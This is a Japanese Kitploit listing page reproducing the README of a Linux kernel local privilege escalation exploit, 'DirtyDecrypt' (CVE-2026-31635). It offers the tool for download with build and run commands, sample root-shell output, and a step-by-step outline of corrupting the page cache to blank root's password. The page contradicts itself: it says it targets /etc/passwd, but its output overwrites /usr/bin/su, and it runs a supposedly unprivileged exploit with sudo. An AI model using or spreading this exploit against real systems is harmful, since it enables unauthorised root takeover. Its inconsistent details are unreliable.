Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31635 — CVE-2026-31635 | Kitploit
ツール/GitHubGitHub/0xblackash/cve-2026-31635
特権昇格エクスプロイトCTF学習と教育バイナリエクスプロイト
GitHub0xblackash/cve-2026-31635

CVE-2026-31635

CVE-2026-31635

リポジトリを見る
523ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🩸 CVE-2026-31635 – DirtyDecrypt

ChatGPT Image May 19, 2026, 10_51_03 PM

Linux Kernel のローカル権限昇格 — RXGK ページキャッシュ破損を悪用

Version Severity Exploit

"DirtyDecrypt" — 2026年「Dirty」ファミリーエクスプロイトの一部


📖 概要

DirtyDecrypt (CVE-2026-31635) は、Linux カーネルの rxrpc サブシステム(特に rxgk コンポーネント)における ローカル権限昇格 の脆弱性です。

AES-CBC 復号化中の Copy-on-Write (COW) チェックの欠落を悪用し、非特権ユーザーがページキャッシュを破損させ、任意のファイル書き込み を達成し、root アクセスを得ます。


✨ 特徴

  • ✅ クリーンでコメント豊富なCコード
  • ✅ ユーザー+ネットワーク名前空間のサポート
  • ✅ 信頼性の高いページキャッシュ書き込みプリミティブ
  • ✅ /etc/passwd を標的に(rootパスワードを空に)
  • ✅ SUIDバイナリやその他の標的に簡単に修正可能
  • ✅ 静的コンパイルのサポート

🛠️ 影響を受けるシステム

  • 脆弱なカーネル: 6.10 ~ 6.13(CONFIG_RXGK=y)
  • 一般的なディストリビューション: Fedora, Arch Linux, openSUSE Tumbleweed, カスタムカーネル
  • 脆弱ではない: 〜6.10以前のカーネル、または CONFIG_RXGK=n のもの

📋 必要条件

  • CONFIG_RXGK が有効なLinuxカーネル
  • 非特権ローカルユーザーアクセス
  • AF_RXRPC ソケットサポート
  • keyctl ユーティリティ(rxrpcキー用)

🚀 コンパイル

root@kitploit:~
git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt

💥 使い方

root@kitploit:~
sudo ./DirtyDecrypt

期待される成功出力:

root@kitploit:~
=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000

[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
    [========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)

# 

📁 リポジトリ構造

root@kitploit:~
DirtyDecrypt/
├── CVE-2026-31635.c          # Main exploit
├── README.md                 # This file
├── Makefile                  # Optional
└── exploit.log               # Optional output log

🔬 動作原理(技術的)

  1. ユーザー+ネットワーク名前空間に入る
  2. keyringにRXGKキーを追加
  3. AF_RXRPC ソケットと splice() を使用して、ページキャッシュページをRXGK復号パスに強制的に送り込む
  4. skb_cow_data() なしでインプレースAES-CBC復号をトリガー
  5. スライディングウィンドウ手法を使用してターゲットファイル(/etc/passwd)を1バイトずつ破損
  6. rootパスワードを空にして → rootシェルを起動

⚠️ 免責事項

このエクスプロイトは教育および許可されたセキュリティテストのみを目的としています。
あなたが所有していないシステムでの不正使用は違法です。


📜 クレジットと作者

  • エクスプロイト作者: Ashraf Zaryouh "0xBlackash"
  • オリジナル発見: セキュリティ研究者(2026年)
  • PoCバージョン: v2.1(2026年5月)

⭐ このリポジトリが役立ったらStarをお願いします!

研究コミュニティのために❤️を込めて

ツールをダウンロード